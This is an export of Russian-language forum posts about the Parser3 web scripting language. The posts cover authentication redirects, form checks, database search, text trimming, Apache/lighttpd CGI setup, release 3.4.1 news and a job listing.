"74442","Использую класс авторизации Михаила. После авторизации, хочу задать переход на другую страницу, вместо информации о пользователи.  \
^if($auth.is_logon){ \
		<p>\
			<b>Информация о пользователе:</b><br />\
			Права: $auth.user.rights<br />\
			Логин: $auth.user.name<br />\
			Email: $auth.user.email<br />\
			Состоит в группах: ^auth.user.groups.menu{$auth.user.groups.name}[, ]<br />\
			Дата регистрации: $auth.user.dt_register<br />\
			Дата последнего логина: $auth.user.dt_logon\
		</p>\
}"
"74443","Использовал:\
<body>\
      <script>\
          window.location.href = \"site\"\
      </script>\
</body>\
Есть ли другие варианты?"
"74444","или, если используется Lib.p, то ^Lib:location[/new/url/] (что по сути одно и то-же)"
"74446","А jquery подключили?\
<script type=\"text/javascript\" src=\"/путь/jquery-1.Х.Х.min.js\"></script>"
"74447","[code]<script type=\"text/javascript\"> \
$(function(){\
	$(\".lmenu h5\").addClass(\"active\");\
	$(\".lmenu ul\").hide();\
	$(\".lmenu h5\").click(function(){\
		$(this).next(\"ul\").slideToggle(\"fast\").siblings(\"ul:visible\").slideUp(\"fast\");\
		$(this).toggleClass(\"active\");\
		$(this).siblings(\"h5\").removeClass(\"active\");\
	});\
});\
</script>[/code]\
\
Ничего нового не посоветую, просто уйдите от классов к айдишникам - так улучшите семантику элементов, и выиграете в скорости. Используйте сокращённую запись - даже John Resig просит это."
"74448","Спасибо, tezro, без (document).ready и в экранированном виде меню заработало!\
\
На данный момент остаётся не понятным, почему у меня не работает этот код, если я помещаю его в отдельный .js файл и работает только в in-line.\
\
P.S.  Также очень интересно узнать о CSS .... то, что вариант \".class:hover\" не работает у меня в парсере для IE это обычная ситуация?"
"74449","К предыдущему посту:  не \".class:hover\" , а \".class li:hover\" , например для изменения цвета."
"74450","Сабж.\
\
Т.е. что нужно прописать в .htaccess, чтобы html-файлы в отдельно-взятой директории ничем не обрабатывались, а выдавались как статика?"
"74453","... можно выбросить эксепшн ^throw[script.exit], который обработать в @unhandled_exception. Правда вернуть ненулевой статус в ОС не получится."
"74454","спасибо, попробую"
"74455","Уважаемые, у вас вроде как не работает функция восстановления пароля на форуме. Новый пароль выдается md5 закодированный. Проверьте пожалуйста."
"74456","В IE псевдокласс :hover будет работать только на ссылках — теге <a />.\
\
А код в отдельном файле должен работать. Странно."
"74457","По-моему, очень удобно :)"
"74458","Это я, да."
"74459","а Вы попробуйте восстановить :)"
"74460","в нем делаем условный exception.handled и всё пучком."
"74462","1. ввели login/email, нажали кнопку\
2. проверили почту, увидели письмо со ссылкой для активации\
3. нажали на ссылку. на странице написали, что пароль активирован\
4. залогинились используя указанные в письме логин и пароль (копировать без кавычек)\
5. зашли в профайл и поставили тот пароль, который вам больше нравится\
\
да, согласен, что при активации надо-бы сразу и логинить пользователя. но сайт/код древний, ковыряться в нём совсем не хочется :)"
"74465","Есть форма с 4-мя \"input\":\
section\
title\
item\
path\
\
Нужно, чтобы или \"title\", или \"item\" были со значением,\
но не заполенны оба и не пусты.\
\
Проверить, что они оба заполненны у меня получается.\
\
А вот как сделать проверку на то, что они оба пусты?"
"74467","Дико извиняюсь...Я по привычке вводил вместо имени пользователя email и меня ессно не пускало."
"74469","Спасибо, Sumo, я догадывался, что так и должно быть и даже делал, но видимо что-то путал в коде и ничего не работало. Сейчас всё как нужно."
"74470","Странное дело...\
\
При таком коде:\
\
@items[] 	\
 ^if(!def $form:title){\
  ^if(!def $form:item){\
		$tir[1]\
		 ^if(def $tir){\
		  ^if($tir == 1){\
		  <p class=\"alarm\">Нужно задать <span>Заголовок</span> или <span>Пункт меню</span></p>\
		 }}\
	   }{\
	   $tir[0]\
	   }}\
\
\
, - при переходе на страницу сразу срабатывает оповещение, что нужно задать значение. \
\
Я подумал, может раз value пустое, то это нормально и задал его сначала вручную в форме, а затем через выборку из базы. Как я   понимаю, получается, что  значение уже изначально, а сообщение все равно появляется в обоих случаеях.\
\
При этом, если просто ввести значение, например в поле title, и отправить, то это сообщение не появляется уже.\
\
Почему такое происходит?"
"74471","И настоятельно рекомендую прочитать в документации про &&, eq и, самое главное, про команды форматирования текста на форуме - разбираться в неформатированном коде нет никакого желания."
"74472","У меня происходит проверка на то, что два \"input\" поля формы не заданы и в этом случае выводится сообщение об этом.\
\
И вот сейчас при переходе на эту страницу сразу появляется это сообщение.\
 Оно было понятно, когда в них не было значений.\
Но я задал value в поле формы input путем выборки из базы данных и оно загружается уже не пустое, а сообщение о необходимости ввести значение всё равно появляется.\
\
\
Собственно, в коде и не нужно, наверное, разбираться в этом случае, но я заметил, что в таком виде код совсем неудобно читать, позже научусь форматировать. Вот только я нигде не вижу возможности исправлять свои сообщения , даже те, на которые еще нет ответа."
"74473","... пока эта форма не отправлена на сервер методами GET или POST. Судя по всему вы путаете <form> в HTML'е и $form в Парсере - первое работает на клиенте второе на сервере. Может вам стоит почитать что-нибудь популярное про http-протокол для начала?"
"74474","А, ок, хотя ответ несколько задирист, но Вы подсказали правильный ответ, спасибо. :)\
Я вспомнил, что в примере в документации перед проверкой, также проверялось нажата ли кнопка \"отправить\"."
"74475","Пишу поиск по БД. Криво, наверняка, но что на ум пришло. Сейчас ищет только одно слово. Как сделать, чтобы поиск осуществлялся по словам через пробел, тем самым сужая количество совпадений? Цикл или есть изящное решение?\
[code]\
@light_search[]\
^if($catalog){\
	^catalog.menu{\
		$str[$catalog.id \
			$catalog.manufacture\
			$catalog.type \
			$catalog.name \
			$catalog.number\
			$catalog.designer\
			$catalog.residence\
			$catalog.supplydata]\
		^if(^str.match[$form:search_request][i]){\
			^output_result[]\
			^continue[]\
			}{}\
	}\
}{ \
   База данных пуста. Искать негде.\
}\
#end @light_search[]\
[/code]"
"74476","посмотрите в сторону LIKE"
"74477","Сформировал такой запрос. Вопрос всё тот же: о формирование запроса из нескольких слов разделенные пробелами, и where перебор столбцов не поддерживает. \
[code]\
@light_search_LIKE[]\
^connect[$connect_catalog]{\
	$compare_string[^table::sql{select manufacture, type, name, number, designer, residence, supplydata from catalog where name like '%$form:search_request%'}]\
	}\
^if($compare_string){\
	^compare_string.menu{\
                ...\
		}}\
#end @light_search_LIKE[]\
[/code]"
"74478","Если таблицы в MySQL'е имеют тип myisam, то работать будет лучше чем like, но вам надо будет почитать документацию и разобраться как все это работает.\
\
Тем не менее, встроенные в СУБД MySQL функции поиска имеют достаточно серьезные ограничения (например, не поддерживаются словоформы), поэтому если хочется более качественного поиска, то лучше смотреть в сторону [url=http://sphinxsearch.com/]SphinxSearch[/url] - возможностей там море. Но сразу замечу, что поставить его на виртуальный хостинг не получится - нужен минимум VPS."
"74479","Прочту, но пока, чтобы хоть что-то работало написал:\
[code]\
@split_space[]\
	$split_parts[^form:search_request.split[ ;h]]\
	$n_parts[^form:search_request.match[ ][ng]]\
#end @split_space[]\
\
@light_search[]\
^if($catalog){\
	^catalog.menu{\
		$str[$catalog.id \
			$catalog.manufacture\
			$catalog.type \
			$catalog.name \
			$catalog.number\
			$catalog.designer\
			$catalog.residence\
			$catalog.supplydata]\
		^split_space[]\
		$number_match(0) \
			^for[i](0;$n_parts){\
				^if(\
					^str.match[$split_parts.$i][in]>=1\
				){\
					^number_match.inc[]\
					^if($number_match>$n_parts){^output_result[]} \
				}{\
					$number_match(0)\
					^continue[]\
				}\
			}\
	}\
}{ \
   База данных пуста. Искать негде.\
}\
#end @light_search[][/code]\
\
Но тут уже проблема при вводу двух пробелов подряд. В match или split возможно указать таблицу шаблонов или разделителей?"
"74480","Здраствуйте уважаемые гуру и монстры парсера. Воспользовался классом для работы с изображениями от Den Kulikoff все хорошо но при успешном выполнении вот такой команды \
[code]^oImg.resize[$sFileSrc;$sFileDest;150;;$.sFormat[jpeg]][/code]\
в результате в браузере рисует ноль(0). Можно ли как-то выключить вывод ноля?\
Заранее спасибо за ответ."
"74482","в файле Img.p в методе resize заменить:\
[code]$result($fResult.status)[/code]\
на [code]$result[][/code]\
\
Не проверял."
"74487","p.s. Женя, прости - ничего личного. :)"
"74489","[code]\
^if(^oImg.resize[$sFileSrc;$sFileDest;150;;$.sFormat[jpeg]]){\
	<p>Размер изображения успешно изменён.</p>\
}{\
	<p class=\"alert\">Упс. Проблемы-с.</p>\
}\
[/code]"
"74491","в скрипте, который я использую в своих проектах, нет статуса и результатом возвращается тело картинки, либо 404 :)"
"74492","Результат работы функции и результат работы скрипта - это разные вещи."
"74493","Есть ли у кого-нибудь готовая функция которая из большого текста отрезает кусок заданной длины, но не рвет слова посередине, а нормально их обрабатывает, учитывает знаки препинания, ставит троеточие и пр.?\
\
UPD: наваял вот, может пригодится кому... \
\
[code]@textCut[txt;len][around]\
$result[$txt]\
# вычитаем троеточие\
$len($len - 3)\
# если строка длиннее чем надо\
^if($len > 5 && $len < ^txt.length[]){\
#	режем\
	$result[^txt.left($len)]\
#	символы до и после разреза\
	$around[^txt.mid($len - 1;2)]\
#	если оба символа не пробелы, уменьшаем строку до первого пробела\
	^if(^around.match[^^[^^ ]{2}^$]){\
		$result[^result.match[\\s[^^\\s]+^$][]{}]\
	}\
#	убираем пробелы и некоторые знаки препинания в конце строки\
	$result[^result.match[[\\s\\n,:^;–-]+^$][]{}]\
#	ставим троеточие\
	$result[^result.match[\\.*^$][]{...}]\
}[/code]"
"74494","[code]^s.match[(.{1,50})(?<!\\s)(\\w+)?.*][g]{${match.1}$match.2}[/code]\
\
Но правильнее не резать предложения, а ориентироваться от заданной длины на целые предложения."
"74496","отрезаясь на этапе обработки ввода."
"74498","[code][Tue Feb 22 06:51:22 2011] [error] [client 217.116.55.106] suexec policy violation: see suexec log for more details\
[Tue Feb 22 06:51:22 2011] [error] [client 217.116.55.106] Premature end of script headers: parser3.cgi[/code]\
\
\
конфигурация\
содержимое htaccess\
[code]#назначение обработчиком .html страниц\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
\
#запрет на доступ к .p файлам, в основном, к auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
для redhat 32b\
parser3_3_0 \
parser3_4_0\
\
пробовал все варианты..\
ошибка..\
\
htaccess обрабатывается првава 644\
на парсер права 755\
\
в чем проблема ?\
\
OS CentOS 5"
"74499","[quote]пробовал все варианты..\
[/quote]\
Не пробовали для начала сделать то, о чем в логе написано? :)"
"74500","туда нет доступа..\
написал в супорт.. жду"
"74502","[code]\
@wisetrim[str;len;match][locals]\
^if(^str.length[]>$len){\
#что считать концом. оставьте только точку и будут резаться предложения\
$breakers[^s2h[,+.+:+!+ +;+]]\
#убираем html? Сильно замедляет.\
^if(def $match){$str[^str.match[(<[^^>])([^^>]*>|^$)][ig]{}]}\
$str1[^str.left($len)]\
#зачем работать со всем текстом, если максимальная длина слова - 23 буквы?\
$str2[^str.mid($len;23)]\
$sadd[]\
^for[i](0;23){$tmp[^str2.mid($i;1)]^if(def $breakers.$tmp){^break[]}{$sadd[${sadd}$tmp]}}\
$preresult[${str1}$sadd]\
#об успешной обрезке сообщаем многоточием\
^if(^preresult.length[]<^str.length[]){$multipoint[...]}\
$result[${preresult}$multipoint]\
\
}{$result[$str]}\
\
#вместо так и не реализованного ^hash::create[string]\
@s2h[str;div;def0][locals;result]\
^if(!def $div){$div[ ]}^if(!def $def0){$def0(1)}\
^if($str is hash){$result[$str]}{\
$tmp[^str.split[$div;v]]\
$tmph[^tmp.menu{^if(def $tmp.piece){$.[$tmp.piece]($def0)}}]\
$result[^if($tmph is hash){$tmph}{^hash::create[]}]\
}[/code]"
"74503","[code]\
@light_search[]\
^if($catalog){\
	^catalog.menu{\
		$str[$catalog.id \
			$catalog.manufacture\
			$catalog.type \
			$catalog.name \
			$catalog.number\
			$catalog.designer\
			$catalog.residence\
			$catalog.supplydata]\
			\
			$DeleteSign[^form:search_request.match[(\\W)|(_)][g]{ }]\
			$DeleteSpace[^DeleteSign.match[(\\w+)\\s+][g]{$match.1 }]\
			$RightSearch[^DeleteSpace.trim[]]\
			$split_parts[^RightSearch.split[ ;h]]\
			$n_parts[^RightSearch.match[ ][ng]]\
			\
				$number_match(0) \
				^for[i](0;$n_parts){\
					^if(\
						^str.match[$split_parts.$i][in]>=1\
					){\
						^number_match.inc[]\
						^if($number_match>$n_parts){^output_result[]} \
					}{\
						$number_match(0)\
						^continue[]\
					}\
				}\
	}\
}{ \
   База данных пуста. Искать негде.\
}\
#end @light_search[]\
[/code]\
\
Кажется доделал. В результате строка \"%%мороз  ? и  солнце *:? день чудесный  -/@- a___-  2 на 2^^ @равно#^$ ,,  4   \" преобразуется в \"мороз и солнце день чудесный a 2 на 2 равно 4\"."
"74504","[code]$breakers[^s2h[,+.+:+!+ +;+]][/code]\
\
А как быть с вопросительным знаком, многоточием (которое, к слову, одиночный символ), комбинированными знаками препинания («?!», например), точками и двоеточиями в словах (ссылка или e-mail-адрес)?.."
"74507","Добрый день.\
Есть работающая связка lighttpd+parser3.Опишу настройки.\
\
cat /etc/lighttpd/conf-available.cgi.conf\
\
server.modules  += ( \"mod_cgi\" )\
cgi.assign      = (\
        \".pl\"  => \"/usr/bin/perl\",\
        \".p\"   => \"/usr/lib/cgi-bin/parser3-lighttpd.cgi\",\
        \".html\" => \"/usr/lib/cgi-bin/parser3-lighttpd.cgi\",\
)\
\
cat /usr/lib/cgi-bin/parser3-lighttpd.cgi\
#!/bin/sh\
export PATH_TRANSLATED=$SCRIPT_FILENAME\
export PATH_INFO=$SCRIPT_NAME\
export SCRIPT_NAME=/abc\
/usr/lib/cgi-bin/parser3.cgi\
В общем всё работало, но вот сегодня начались проблемы.\
В процессах появились много неких процессов (parser3-lighttp <defunct>), они сильно \"загружают\" сервер, и сайты перестают работать. Подскажите в чем может быть проблема? Спасибо.\
(команда top показывает)\
top - 12:34:48 up  5:23,  1 user,  load average: 10.67, 4.72, 2.57\
Tasks: 157 total,  17 running,  27 sleeping,   0 stopped, 113 zombie\
Cpu(s): 62.3%us, 37.7%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st\
Mem:    786432k total,   322308k used,   464124k free,        0k buffers\
Swap:        0k total,        0k used,        0k free,        0k cached\
\
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND\
13784 www-data  25   0 10060 4880 2168 R    1  0.6   0:00.04 parser3.cgi\
13785 www-data  25   0 10060 5180 2392 R    1  0.7   0:00.04 parser3.cgi\
13788 www-data  25   0 10060 4876 2168 R    1  0.6   0:00.04 parser3.cgi\
13797 www-data  24   0 10124 5296 2424 R    1  0.7   0:00.04 parser3.cgi\
13791 www-data  22   0 10124 5348 2428 R    1  0.7   0:00.03 parser3.cgi\
13801 www-data  25   0  9848 4820 2120 R    1  0.6   0:00.03 parser3.cgi\
11792 www-data  25   0 12504 6300  948 R    1  0.8   0:00.79 lighttpd\
13792 www-data  25   0  5628 2956 1400 R    0  0.4   0:00.01 parser3.cgi\
13798 www-data  25   0  5628 2828 1400 R    0  0.4   0:00.01 parser3.cgi\
13496 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13502 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13503 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13504 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13510 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13511 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13512 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13513 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13514 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13519 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13520 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13525 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>\
13526 www-data  18   0     0    0    0 Z    0  0.0   0:00.00 parser3-lighttp <defunct>"
"74511","Не, с этим всё нормально. Тут дело в чем-то другом, именно проблема с парсером."
"74512","У меня просто была пара раз ситуация, когда дико выросла нагрузка на паре сайтов в разное вермя. Естественно, Parser их не выдерживал, тупо плодя процессы — админы просто банили айпишники, с которых шло больше всего запросов. Думал, вам подойдёт.\
\
С lighttpd не работал, ничего конкретного не подскажу."
"74513","Хе, хе. Сейчас посмотрел top.\
\
[code]15604  0.0  0.0M  [httpd] <defunct>\
19346  0.0  0.0M  [httpd] <defunct>[/code]\
\
Но пропадают сразу. Собственно, куча ссылок в гугле по этому поводу."
"74514","Здравствуйте!\
Я когда-то давно делал сайтик используя парсер. Мне очень понравился на нем писать. Вот по воле судьбы опят надо делать сайт, вернее портал.\
Вот подумал, что его тоже на парсере сделаю. Зашел сюда и вижу что последный новость от 17 ноября 2009 г. Вот и родился вопрос:\
Почему так давно новостей не был? Может авторы бросили проект? Или версия 3.4.0 была удачная и нет смысла другую делать?\
От ответа этого вопроса завесить, буду я делать сайт или нет.\
По этому жду ответа с дрожащем нетерпением."
"74515","Бета версии никто не скрывает - http://www.parser.ru/forum/?id=73975 и http://www.parser.ru/download/beta/\
\
p.s. Релиз будет очень скоро. :)"
"74516","О! Первый раз в жизни получил такой оперативный ответ! Спасибо!\
Значить сайт будет! Ура!"
"74517","Причем видно, что процессы парсера отрабатывают очень быстро (<0.1 sec). Так что соглашусь, что похоже на атаку (если конечно LA 10 для вашего сервера не обычная ситуация).\
\
Большое число zombie процессов parser3-lighttp <defunct> на нагрузку понятно не влияет, но как раз тоже показывает, что обращений очень много."
"74518","И ответ есть в логе suexec, странно что вы его не можете получить.\
\
Как еще один вариант - может на директорию cgi права неправильные\
(должны быть 755, владелец должен быть как у cgi скриптов)?"
"74519","Спасибо всем за ответы, оказалось что действительно очень много запросов было к web-серверу. Перенастроил iptables, восстановилась работа. За вчерашний день трафик с сайту был просто огромный."
"74521","А, тогда игнорировать. Я только что прошелся поиском по архиву новостей одного из своих сайтов (около 3000 записей) - указанная последовательность не встретилась ни разу."
"74525","Вы правы..."
"74527","Command not in docroot\
\
есть варианты решения этой проблемы ?\
чуствую что супорт незнает что делать"
"74528","Для корректной работы suexec'а надо правильно задать параметр --with-suexec-docroot=DIR. Он должен указывать на папку в которую вложены виртуальные хосты.\
\
И желательно правильно задать:\
--with-suexec-uidmin=UID\
--with-suexec-gidmin=GID\
Вполне возможно, что на некоторых серверах дефолтное значение 100 будет многова-то.\
\
http://httpd.apache.org/docs/2.2/suexec.html#install"
"74530","Судя по ошибке, у вас должны быть права на настройку apache? Поскольку включить или выключить suexec можно только в конфиге apache. А в такой конфигурации у этого хостера вообще никой cgi-скрипт не заработает. \
\
P.S. Еще бывает версия suexec, где можно указать любой docroot в конфиге.\
\
>cat /etc/apache2/suexec/www-data\
[code]/home/www\
#public_html/cgi-bin\
# The first two lines contain the suexec document root and the suexec userdir\
# suffix. Both features can be disabled separately by prepending a # character.\
# This config file is only used by the apache2-suexec-custom package.\
[/code]"
"74531","Добрый день уважаемые форумчане.помогите мне тут разобраться.установил денвер последний + parser3 с их сайта (денвера) завёл сайт, установил парсер, он запустил тестовую страницу, вроде как работает.Видит в папочке !sendmail файлы *.eml , но не отправляет.\
Подскажите что и как крутить, не совсем понял по созданию файла .htaccess  он должен лежать в конре моего сайта?! и что ещё в должно там лежать, где крутить настройки?! на компе нету у меня smtp сервера сразу скажу.Не сильно понимаю как это всё будет работать.Нужно чтобы взял из папки !sendmail все письма формата .eml и отправлял по тем адресам что в теле файла."
"74532","Список изменений смотрите на http://www.parser.ru/news/\
\
Дистрибутивы и документация на сайте обновлены."
"74534","Здравствуйте!\
\
Мне требуется помощник для работы с сайтами на Parser. Оплата сдельная по мере выполнения заданий. Удаленная работа.\
 \
От кандидата требуется: \
1) минимальные знания parser, обучу до своего уровня и сам буду учиться вместе\
2) желание учиться \
3) плюсом будет минимальные зания java script и jq\
4) ответственность \
5) выполнение задания в сроки\
6) забывание слов \"Я такого не умею\", всегда есть яндекс и гугл\
\
От меня:\
Помощь с обучением, ваша нароботка профессионализма, партфолио, мышления. А главное за все это еще и деньги плачу.\
Больших золотых гор не обещаю, но поработать придется. \
Есть еще смежные параллельные работы, например в поддержке, администрирование серверов, если кандидат захочет подзаработать всегда буду рад.\
Зарплата по договоренности.\
\
О нас:\
Компания ProWeb studio \
Хостинг с 2005 года.\
Сайты на Parser:\
http://pwstudio.ru\
http://fast-name.ru\
http://pwhost.ru\
http://c-stud.ru\
http://s-stud.ru\
http://h-i-h.ru\
http://zavedi-druga.ru\
и др.\
\
Аттестат вебмани:\
https://passport.webmoney.ru/asp/certView.asp?wmid=782443000980\
\
email: alexey@pwstudio.ru\
icq; 301094836\
skype: pwstudio"
"74535","Спасибо! попробую"
"74543","Начиная с 3.4.1 встроенный ^json:string вполне неплох для отладки.\
Опять же он умеет показывать и пользовательские объекты."
"74544","Недавно Миша писал (в http://www.parser.ru/forum/?id=74320), что  «в HEAD/текущей бэте есть $request:post-body».\
Это актульно для зарелизенной 3.4.1 ? \
\
А то запарно больно через перловые обертики принимать файлы по XHR.\
\
И за JSON спасибо, конечно!"
"74548","И отдельное спасибо за версии под МакОс"
"74551","Теперь вот такая конструкция:\
[code]\
$s[^s.match[(<.*?>)][g,i]{}]\
[/code]\
\
выдает: \"called with invalid option\"\
\
Почему? И что такое 4 параметр match ?"
"74552","четвёртый параметр описано и в новостях и в доке."
"74553","Поменял на $s[^s.match[(<.*?>)][g,i]{}[]]\
те же грабли...\
\
А почему криво ? :) Вроде все честно..."
"74556","а вообще... глобальный поиск \".match[\" -- делов-то."
"74557","Зачем же старый :) Уже позаменял именно так :) Спасибо за парсер!"
"74560","К сожалению не возможности собрать на хостинге. \
И подобной системы просто нету под рукой."
"74561","... никто не мешает поставить ее в виртуальную машину и собрать. :)"
"74562","уже занимаюсь вопросом.\
Спасибо за релиз. нет под 5,5 - так нет :)"
"74563","... можно попробовать мою сборку:\
http://parser3-pf.googlecode.com/files/parser3_4_1_freebsd55R_cgi_xml_mysql.tar.gz"
"74564","Добрый день!\
\
Задача такая: сохранается HTTP:REFERER, нужно его разбить по частям. Но проблема в том, что запросы приходят в разных кодировках.\
Можно ли как-то определить кодировку или просто переконвертировать строку в UTF из любой?"
"74565","... и, скорее всего, Парсер тут не очень поможет, поскольку алгоритмы не самые простые.\
\
Можно попробовать написать внешний скрипт, который разберется с url-кодированием, определит кодировку и перекодирует в нужную. Для питона есть неплохой детектор - http://chardet.feedparser.org/"
"74566","У вас в buildall-with-xml указаны старые версии  PCRE и libxml2.\
\
-адд\
ХМ или у меня что-то криво обновилось )"
"74568","Вы точно ветку release_3_4_1 из cvs качали?"
"74569","Хотя там есть пара проблем с японским языком :)"
"74571","У меня почему-то приехала версия 3,4,1b.\
Что-то я не то делал при обновлении, потом еще раз запустил \
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get\
И получил то что надо.\
Сори, не разобрался сразу."
"74572","Хотя она и не сильно отличается от release_3_4_1, но лучше по новому checkout сделать, чтобы без сюрпризов обойтись."
"74573","мы сначала закоммитили это в HEAD и потом создали ветку.\
\
да, про некоторые мелочи я забыл, и пришлось коммитить одинаковые изменения и туда и туда, но эти мелочи совершенно не влияют на сборку бинарника."
"74575","А где же тарболл с исходниками?\
http://www.parser.ru/download/src/\
- вижу тут только 3.4.0 версию\
\
Еще посмотрел - вроде модуль апача теперь собирается через apxs и для apache2.x, соответственно.   Об этом забыли упоминуть, или оно таки не работает в итоге?"
"74576","Пока делаю тупой replace, на win-1251 и UTF работает... C KOI уже проблемы, но его к счастью мало сейчас..\
\
Спасибо за ссылки!"
"74578","Вакансия пока закрыта. Спасибо за внимание и всем кто обращался!"
"74579","Может планируется добавить в парсера? .рф, однако :)"
"74580","например, PUT?\
\
[quote]Вариант использования: можно написать свой XML-RPC сервер[/quote]\
\
В HTTP-протоколе несколько больше методов, чем просто GET и POST..."
"74582","собственно, в процессе тестирования кода и заметил, что PUT-запросы не обрабатываются."
"74583","Обычно rest-сервисы умеют имитировать метод PUT через POST (я уверен, что вы знаете как это делается)."
"74584","Создатель сервиса опубликовал API, в котором указано, что PUT запрос содержит тело с представлением объекта. \
\
Запросы которые он мне передает - соответствуют как RFC, так и заявленному API. Почти всегда можно придумать workaround. Но это вроде бы самый что ни на есть стандартный подход, как мне казалось.\
\
Поэтому решил уточнить - это так задумано принципиально или просто еще не реализовано?"
"74585","Пытаюсь написать запрос на удаление строки в таблице через javascript, но не фурычит. Есть ли аналог confirm в парсере?\
[code]\
<script type=\"text/javascript\">\
	function DeleteRow(deleteID) {\
		if (confirm(\"Уверены, что хотите удалить выбранный пункт?\")) {\
			^connect[$connect_catalog]{\
			^void:sql{DELETE FROM catalog WHERE id=\"deleteID\"}\
			}\
		}\
	else {\
	}\
}\
</script>\
[/code]\
и\
[code]<a href=\"#\" onClick=\"DeleteRow('$TableS.id')\">Удалить</a>[/code]"
"74586","И что именно и откуда вы пытаетесь таким образом «удалить»?.."
"74587","Удаляю строку из БД, к которой и осуществляю соединение и удаление через  [code]\
^connect[$connect_catalog]{\
       ^void:sql{DELETE FROM catalog WHERE id=\"deleteID\"}\
}\
[/code]"
"74588","Николай, ознакомьтесь с общими принципами работы веб-приложений.\
Того, что вы пытаетесь создать.\
\
Помочь вам в вашей затее возможным не представляется.\
Парсер — работает на стороне сервера, и вы написали не более чем две строки текста внутри JS-конструкции."
"74589","реализация тривиальная."
"74590","если этим фрагментом вы пытаетесь проверить, работает-ли удаление записи в БД средствами парсера, то у вас ошибка: вы пытаетесь удалить запись, у которой ID равен строке deleteID. полагаю, что это не так, и ID у вас числовые.\
\
если-вы хотели, чтобы подставилось значение парсерное переменной deleteID, то вы забыли поставить перед именем переменной символ $, кроме того в приведённом тестовом фрагменте кода значение этой переменной не определено, т.е. и тут была-бы ошибка.\
\
в общем предлагаю начать с начала и прочитать хотя-бы \"уроки\".\
\
P.S. спасибо, что прочитали FAQ по форуму и воспользовались bb-кодами форматирования парсерного кода."
"74591","Большая просьба, если будет возможность/время добавить возможность получать тело http-запросов PUT,PATCH и OPTIONS (в дополнение к POST).\
\
Если, конечно, я правильно помню спецификацию HTTP 1.1. \
\
В любом случае - большое спасибо за качественный и очень продукт  :)"
"74592","Я сделал на php, и вызываю его."
"74593","По урокам как раз понятно: запрос формируется, если поля заполнены. \
Тут же полей нет, и номер для удаления всегда определен. Как сформировать запрос лишь при нажатии submit и прикрутить ещё confirm? Банально, но решения не нахожу."
"74594","Я его попробую портировать на парсера"
"74596","Это вопрос по javascript.\
советую почитать про \
[url=\"http://jquery.com/\"]jquery[/url]\
\
вопрос закрыт."
"74597","Если надо - то я таки собрал. если кому надо - обращайтесь - с удовольствием пришлю или выложу"
"74599","Не отрабатывает chm файл справки. Для предыдущей версии - без проблем, новый - тексты недоступны. Причем на разных компах. операционка - win 7"
"74601","/usr/libexec/ld-elf.so.1: Undefined symbol \"__stdoutp\" referenced from COPY relocation in parser3.cgi"
"74604","Помогите пожалуйста, не могу сделать так..\
Вывожу список новостей из базы (id, date, header, body), в котором каждый заголовок является ссылкой, и при клике на него на той же странице должна открываться одна выбранная новость.\
Как это сделать?\
[code]^connect[$connect_string]{ \
$news[^table::sql{select \
	id, date, header, body from news}] \
^if($news){ \
	^news.menu{ \
		$news.header<br /><a href=\"?nid=$news.id\">$news.header</a>\
	}[<br>] \
	}{пусто} \
}[/code]"
"74605","Вы вывели список, чтобы показать новость (упрощенно)\
[code]\
^if(^form:nid.int(0)){\
  $news_item[^table::sql[SELECT text FROM ... WHERE id = '$form:nid']]\
  $news_item.text\
}[/code]\
\
или у вас проблема с чем то другим?"
"74606","Понадобилось загружать с диска таблицу в кодировке CP-866 и не могу найти готовый charset для парсера. Где можно скачать?"
"74607","И еще http://www.parser.ru/forum/?id=59168\
\
А можно просто позвать из консоли [url=http://www.gnu.org/software/libiconv/]iconv[/url] (наверняка есть на любом xNIX-хостинге) или [url=http://www.gnu.org/software/recode/recode.html]recode[/url]."
"74610","Есть ли такое в парсере? Чуток поискал и не нашел ответа на свой вопрос."
"74612","допустим есть метод\
\
@myMetod[a;b;c;d]\
\
Но, обязательный только a, если не указан b,c,d то подставляются значения по умолчанию, но при вызове ^myMetod[1] - ругается, типом мало параметров.\
\
В 3,4,1 вы добавили возможность использовать @myMetod[*args], что в принципе и есть замена, но если честно получается больше кода, что-то вроде\
[code]^if(def $args.0){$_id($args.0)}{^throw[error;Не указан айди;]}\
$typeSort[^if(def $args.1){$args.1}{none}]\
$order[^if(def $args.2){$args.2}{ASC}][/code]\
Не наглядно как-то.\
Если бы метод можно было бы написать так\
[code]@myMetod[a;b[значение по умолчанию];c[значение по умолчанию];d[значение по умолчанию]][/code]\
\
Было бы хорошо. Если что не пробовал, код может он и работает сразу полез доки читать и на форуме искать.\
\
Почему хочется: в строенных методах у вас операторы в которых есть не обязательные параметры."
"74614","[quote]Еще посмотрел - вроде модуль апача теперь собирается через apxs и для apache2.x, соответственно. Об этом забыли упоминуть, или оно таки не работает в итоге? [/quote]\
\
Да, модуль apache собирается с использованием apxs, теперь это DSO модуль. Модуль совместим и с apache1.x, и с apache2.x. C модулем под apache 1.X по-идее проблем быть не должно, а вот под apache 2.X наблюдалось повышенное потребление памяти, но пока непонятно - это ошибка или так и должно быть. Не упомянули, поскольку серьезного тестирования не проводилось."
"74616","Просто опишите нужное количество обязательных параметры и используйте для них дефолтные значения, там где это нужно без промежуточных переменных - как правило это очень наглядно и просто. А все необязательные можно загнать в один параметр-хеш с которым тоже просто работать.\
\
